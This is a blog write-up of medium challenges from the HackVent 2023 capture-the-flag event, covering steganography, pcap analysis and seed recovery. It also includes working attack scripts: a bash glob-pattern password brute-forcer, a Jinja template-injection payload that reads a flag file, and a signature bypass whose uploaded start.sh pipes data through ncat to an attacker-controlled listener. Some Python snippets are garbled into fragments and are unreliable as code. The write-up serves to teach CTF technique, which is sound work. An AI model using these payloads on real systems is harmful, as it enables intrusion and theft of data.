This blog post is part of my write-up for HackVent 2023, an advent-calendar style CTF. During the first 24 days of December, each day a new challenge is released, with the difficulty increasing as we get closer to the 24th. This part of the write-up covers the medium challenges from the 8th to the 14th. There is also a post about the easy challenges. The remaining write-up is currently in the works.
All my solution scripts are available in my ctf-notes git repo. It provides a flake that can be used to build and run the solutions:
nix run git+https://git.sr.ht/~lgcl/ctf-notes\?ref=refs/tags/hv23#hv23.day-08
The result is usually a script that runs my solution in a minimal container using crun. Some the solution scripts require arguments, such as the target IP address or the local IP address for reverse shells. This will be pointed out in the write-up.
I plan on writing another blog post on how this setup functions soon (tm).
Ditch flask and complicated python. With SantaLabs bask, you can write interactive websites using good, old bash and even template your files by using dynamic scripting!
We are given access to a website the sources of an HTTP server written in bash. There is a login page and looking through the sources where the ADMIN_PASSWORD
is used, the fact that one is quoted and one is not stands out.
rg --color=never ADMIN_PASSWORD </dev/null
: templates/post_login.sh:if [[ $ADMIN_PASSWORD == $POST_PASSWORD ]]; then : templates/admin.sh:if [[ "$FIRST_COOKIE" == "$ADMIN_PASSWORD" ]]; then
As a result, we can use pattern matching when logging in. For example using *
as a password gives a success response. Using this, we can extract the password one character at a time: We can just try a*
through to z*
and if we hit the correct first character, the login will succeed.
To reduce the number of requests needed for extraction, we can use [a-z]
style patterns to check for a range of characters. With that, we can implement a binary search, which needs only 5 requests per letter, instead of 26. We first check in which half of the alphabet the correct letter is. We then just keep halving the range of possible characters in each request until only a single one is left.
I implemented the whole thing in bash, just because:
#!/usr/bin/env bash MIN_CHAR=a MAX_CHAR=z TARGET="https://$1.idocker.vuln.land" center() { printf "%02x" "$(((0x$(echo -n $1 | xxd -p)+0x$(echo -n $2 | xxd -p))>>1))" | xxd -r -p } succ() { printf "%02x" "$((0x$(echo -n $1 | xxd -p)+1))" | xxd -r -p } matches() { curl --silent --retry 4 --retry-all-errors --show-error \ -X POST -d "password=$1" "$TARGET/login" \ | grep -q Success } prefix="" min="$MIN_CHAR" max="$MAX_CHAR" while true; do avg="$(center "$min" "$max")" echo -n -e "\r" echo -n "$min-$avg-$max" if matches "$prefix[$min-$avg]*"; then max="$avg" else min="$(succ "$avg")" fi if [ "$min" = "$max" ]; then prefix="$prefix$min" if ! matches "$prefix?*"; then break fi echo -n " prefix: $prefix" min="$MIN_CHAR" max="$MAX_CHAR" fi done password="$prefix" echo -n -e "\r" echo "password: $password " curl --silent --retry 4 --retry-all-errors --show-error \ --cookie "cookie=$password" "$TARGET/admin" \ | grep -o 'HV23{[^}]*}'source
nix run git+https://git.sr.ht/~lgcl/ctf-notes\?ref=refs/tags/hv23#hv23.day-08 \ -- $target_uuid \ | grep 'HV23{[^}]*}'
: HV23{gl0bb1ng_1n_b45h_1s_fun}
(The target_uuid
is the UUID from the web service's FQDN, i.e. everything before .idocker.vuln.land
)
Santa looked at the network logs of his machine and noticed that one of the elves browsed a weird website. He managed to get the pcap of it, and it seems as though there is some sensitive information in there?!
We are given a capture of network traffic, which covers a sequence of HTTP requests to a web server. After staring at the capture for a long time and trying various things, I found the flag hidden in the source port numbers. The port numbers are 56700 plus the value of the corresponding byte of the flag.
tshark -r $capture -T fields -e tcp.srcport -2 -R 'tcp.dstport == 80' \ | grep "^56[789]" \ | awk '{ if($0 != 56700) printf("%c", $0-56700) }'source
nix run git+https://git.sr.ht/~lgcl/ctf-notes\?ref=refs/tags/hv23#hv23.day-09
: HV23{Lo0k1ng_for_port5_no7_do0r$}
We've heard you like to create your own forms. With SANTA (Secure and New Template Automation), you can upload your own jinja templates and have the convenience of HTML input fields to have your friends fill them out! Obviously 100% secure and even with anti-tampering protection!
We are given a website, that lets us upload and render jinja templates, as long as they don't match the regex {{.*}}
. In jinja templates, strings within double curly braces are evaluated. That would allow us to read the flag. A simple bypass for this challenge's filter is using a line-break inside the double curly braces. That way, the regex no longer matches, as python requires you to explicitly request multiline matching.
With that, a simple Jinja template to read a file can be used to extract the flag:
TARGET=https://$1.idocker.vuln.land cat << EOF | curl $TARGET/upload -L -XPOST -Ftemplate=@- -Ffields=[] {{ request.__class__._load_form_data.__globals__.__builtins__.open("/app/flag.txt").read() }} EOFsource
nix run git+https://git.sr.ht/~lgcl/ctf-notes\?ref=refs/tags/hv23#hv23.day-10 -- $target_uuid
: HV23{us3r_suppl13d_j1nj4_1s_4lw4ys_4_g00d_1d34}
(The target_uuid
is the UUID from the web service's FQDN, i.e. everything before .idocker.vuln.land
)
Santa baked you a pie with hidden ingredients!
Looking at the raw color data of the image, the red channel stand out the most: It contains only the values from 0 to 9 of the possible 256 values. Looking only the blue channel, it looks very noisy and no hint of the cake is visible:
Interpreting the blue channel as plain text looks promising, being mostly letters with some special characters mixed in. Investigating it further, the frequency distribution of the different values in the blue channel looks a bit suspicious:
convert 7cda2611-87a0-4b68-b549-13376b8c097d.png ppm:- \ | sed '1,3d' | xxd -p -c6 \ | awk -v FIELDWIDTHS="2 2 2" '{ print $3 }' \ | sort | uniq -c | paste - - - - -
271 20 249 21 230 22 259 23 260 24 257 25 318 26 297 27 309 28 307 29 54 2a 55 2b 43 2c 45 2d 50 2e 50 2f 53 46 37 47 55 48 53 49 53 4a 54 4b 56 4c 45 4d 51 4e 50 4f 325 60 334 61 306 62 275 63 353 64 319 65 605 66 571 67 370 68 364 69 299 6a 278 6b 449 6c 448 6d 407 6e 386 6f 350 70 335 71 304 72 283 73 275 74 258 75 278 76 261 77 78 78 76 79 109 7a 78 7b 154 7c 161 7d 151 7e 159 7f
There seem to be groups of similar values occurring a similar amount, e.g. the values from 0x20
to 0x29
all occurring close to 300 times. Playing around, the distribution simplifies a lot when XOR-ing the red and blue channel values, reducing to only a few values:
convert 7cda2611-87a0-4b68-b549-13376b8c097d.png ppm:- \ | sed '1,3d' | xxd -p -c6 \ | awk -v FIELDWIDTHS="2 2 2" '{ printf("%02x\n", xor($1,strtonum("0x"$3))) }' \ | sort | uniq -c | paste - - - - -
: 2545 20 509 2e 507 4e 507 61 247 64 : 1526 65 772 67 263 69 247 6c 1263 6e : 1264 6f 261 70 508 72 248 74 770 75 : 770 76 247 77 506 79
But looking at the text, it still looks scrambled. To resolve this I tried going top-to-bottom and then left-to-right, instead of left-to-right and then top-to-bottom. That produces a lot of "Never gonna give you up" and "Never gonna let you down" with the flag in between:
convert $img ppm:- \ | sed '1,3d' | rz-ax -S | tr -d \\n | fold -w6 \ | awk -v FIELDWIDTHS="2 2 2" '{ printf("%d\t%02x\n", NR%180, xor(strtonum("0x"$3),$1)) }' \ | sort -sk1n | cut -f2 | tr -d \\n | rz-ax -s | grep -o 'HV23{[^}]*}'source
nix run git+https://git.sr.ht/~lgcl/ctf-notes\?ref=refs/tags/hv23#hv23.day-11
: HV23{pi_1s_n0t_r4nd0m}
To train his skills in cybersecurity, Grinch has played this year's SHC qualifiers. He was inspired by the cryptography challenge unm0unt41n (can be found here) and thought he might play a funny prank on Santa. Grinch is a script kiddie and stole the malware idea and almost the whole code. Instead of using the original encryption malware from the challenge though, he improved it a bit so that no one can recover his secret!
Luckily, Santa had a backup of one of the images. Maybe this can help you find the secret and recover all of Santa's lost data...?
The challenge is quite clear: The flag was used to seed a random number generator, which is then used to produce a stream of bytes XOR'ed with the images to encrypt them. We want to recover the seed for here.
To get the original output of the random number generator, a mersenne twister, we can XOR the encrypted and backed-up image. To recover the seed from here, I used RNGeesus, which provides a function to calculate the seed of a mersenne twister from its first 624 outputs.
from mersenne import BreakerPy import struct b = ) with ) as ina: with ) as inb: keystream = ) values = [struct.)[0] for i in )] seed = b.) )source
nix run git+https://git.sr.ht/~lgcl/ctf-notes\?ref=refs/tags/hv23#hv23.day-12
: HV23{s33d_r3c0very_1s_34sy}
Santa came across a weird service that provides something with signatures of a firmware. He isn't really comfortable with all that crypto stuff, can you help him with this?
We are given access to a shell, implemented in python, giving us a few commands. We are also given the corresponding sources and a firmware.zip
file. The shell allows us to check the current firmware version and its hash. Importantly, the shell also allows uploading a new firmware as a zip file. If the zip contains a file called start.sh
, it will be executed. But before the firmware update is installed, a signature verification takes place.
The code used to compute a file's hash is the following:
def: hash = 0 for i in ): hash ^= ) return hashsource
The result of this hashing function is then also hashed using SHA1 then the signature verified against an unknown RSA key. To bypass the signature verification, we can construct a zip file, for which the hashFile
function returns the same value as the provided firmware.zip
. Then we can re-use the signature shown in the shell when checking the version to upload our own firmware file.
Generating such a collision is quite straight forward: The k-th byte of the hash is the XOR of the k-th bytes of each 8 byte block of the file. Furthermore, the method used to extract zip files ignores trailing bytes. So to generate a collision we simply calculate the hash of the zip file we want to upload, XOR it with the target value. This gives us 8 bytes we need to append to the zip file. They must be ordered in such a way that the first byte of the value lands in the first byte of an 8 byte block. This way, it will be XOR'ed with the first bytes of the other 8 byte blocks, and result in the correct first byte of the hash. The same goes for the remaining 7 bytes.
There are two simple options to archive this alignment: Rotating the calculated value by the correct number of bytes, such that all the bytes align, or appending bytes to the end of the file to get it to a length divisible by 8. I chose the former method.
With that, we can simply build a zip, containing a start.sh
that pipe the flag into ncat
, connecting back to us and exfiltrating the flag:
#!${py}/bin/python import base64 import io import struct import sys import zipfile import asyncio target_host, reverse_ip, reverse_port = ) def: hash = 0 for i in ): hash ^= ) return hash with ) as f: target = ) firmware_data = io.) with zipfile.) as zf: zf. ) firmware_data.) payload = firmware_data.) rot = ) % 8 pad = struct.) payload += ] + ] asyncdef: read, write = await asyncio.) await read.) write.) await write.) await read.) sig = (await read.)).)[1].) write.) write.) write.) await write.) asyncio.)source
nix run git+https://git.sr.ht/~lgcl/ctf-notes\?ref=refs/tags/hv23#hv23.day-13 -- $target_ip $listen_ip $listen_port
: HV23{wait_x0r_is_not_a_secure_hash_function}
(The target_ip
is the IP the challenge is running on, listen_ip
and listen_port
are the IP and port to listen on for flag exfiltration.)
To keep today's flag save, Santa encrypted it, but now the elf cannot figure out how to decrypt it. The tool just crashes all the time. Can you still recover the flag?
I set this challenge, so no solution write-up. I might, at some point, publish a blog post on the creation of this challenge a link it here.
Santa usually only gifts one present per kid, but one of his elves accidentally put two presents in the bag for a single kid! Somewhere in the medium challenges, you can find the second gift.
This secret was hidden in day 11. Looking at the rick-roll, the two lines occur in an irregular pattern. Using "Never gonna give you up" as 0
and "Never gonna let you down" as 1
, we get the flag:
convert $img ppm:- \ | sed '1,3d' | rz-ax -S | tr -d \\n | fold -w6 \ | awk -v FIELDWIDTHS="2 2 2" '{ printf("%d\t%02x\n", NR%180, xor(strtonum("0x"$3),$1)) }' \ | sort -sk1n | cut -f2 | tr -d \\n | rz-ax -s \ | sed -e 's/up/0/g' -e 's/down/1/g' \ | tr -cd '01' | rz-ax -b \ | grep -oa 'HV23{[^}]*}' | head -n1source
nix run git+https://git.sr.ht/~lgcl/ctf-notes\?ref=refs/tags/hv23#hv23.hidden-2
: HV23{h1dden_r1ckr011}